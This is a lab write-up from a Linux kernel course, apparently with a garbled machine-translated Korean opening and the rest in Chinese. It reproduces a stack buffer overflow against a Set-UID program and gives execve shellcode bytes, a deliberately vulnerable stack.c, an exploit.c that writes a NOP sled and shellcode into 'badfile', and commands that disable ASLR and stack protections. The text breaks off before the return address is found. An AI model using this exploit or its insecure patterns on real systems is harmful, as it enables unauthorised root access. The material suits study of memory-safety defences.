주에서 "리눅스 커널 원리 및 분석"13 일

내용의 주

버퍼 오버 플로우 취약점 공격을 재현하는 것은 이해할으로

II. 이번 주 학습 내용

1. 소개 실험

참고 : 실험 XFCE 명령 입력 단자에서 명령 $ 입력 단자의 앞의 내용은, $ 번호를 입력 할 필요가 없습니다. # 명령의 내용에 대한 의견이 있습니다, 당신은 입력 할 필요가 없습니다

관중 :

C 프로그래밍 언어가 있습니다

그것은 변환 및 계산을 진수한다

기본 사용 정력

기본적인 명령에 익숙 리눅스
버퍼 오버 플로우는 고정 길이 버퍼에 데이터를 기록 할 수있는 사전 할당 된 프로그램을 시도 할 수없는 상황을 의미한다. 이 취약점은 제어 프로그램의 흐름, 코드 실행 심지어 어떤 단편을 변경하는 악의적 사용자에 의해 사용될 수있다. 데이터 버퍼 및 반환 주소의 임시 폐쇄, 오버 플로우가 반환 주소를 덮어 쓰기가 발생합니다 때문에이 취약점의 등장이다.

2. 실험 준비

시스템 사용자 이름 shiyanlou, 실험실 구축 제공하는 64 비트 우분투 리눅스,하지만이 실험은 우리가 컴파일에 일부 입력 명령을 설치, 32 비트 환경의 증언에서 작동해야하고, 따라서 실험하기 전에 어떤 준비를 할 필요가 문 조립 볼 어렵다 32 C 프로그램 패키지.

$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev

다음과 같이 연습 샷은 다음과 같습니다 :

3. 실험 절차

3.1 초기 설정

우분투 등의 리눅스 시스템은 주소 공간의 임의의 사용은 메모리의 정확한 주소가 매우 어려워진다 추측하게 초기 임의 힙 (힙) 및 스택 (스택), 주소,하지만 추측은 메모리 어드레스 버퍼 오버 플로우 공격이다 키를 누릅니다. 따라서,이 실험에서, 우리는이 기능을 해제하려면 다음 명령을 사용합니다 :

$ sudo sysctl -w kernel.randomize_va_space=0

다음과 같이 연습 샷은 다음과 같습니다 :

此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

实践截图如下：

输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入“/bin/bash”使用bash
实践截图如下：

3.2 shellcode

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次实验的 shellcode，就是刚才代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

在 /tmp 目录下新建一个 stack.c 文件：

$ cd /tmp
$ vi stack.c

按 i 键切换到插入模式，再输入如下内容：

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

实践截图如下：

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。编译该程序，并设置 SET-UID。命令如下：（32位用不了！）

$ sudo su
$ gcc -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

实践截图如下：

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

3.4 攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

实践截图如下：

由于实验环境无法粘贴文件，我们提供代码下载，大家可以先运行查看效果：

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c

注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。现在我们要得到 shellcode 在内存中的地址，输入命令：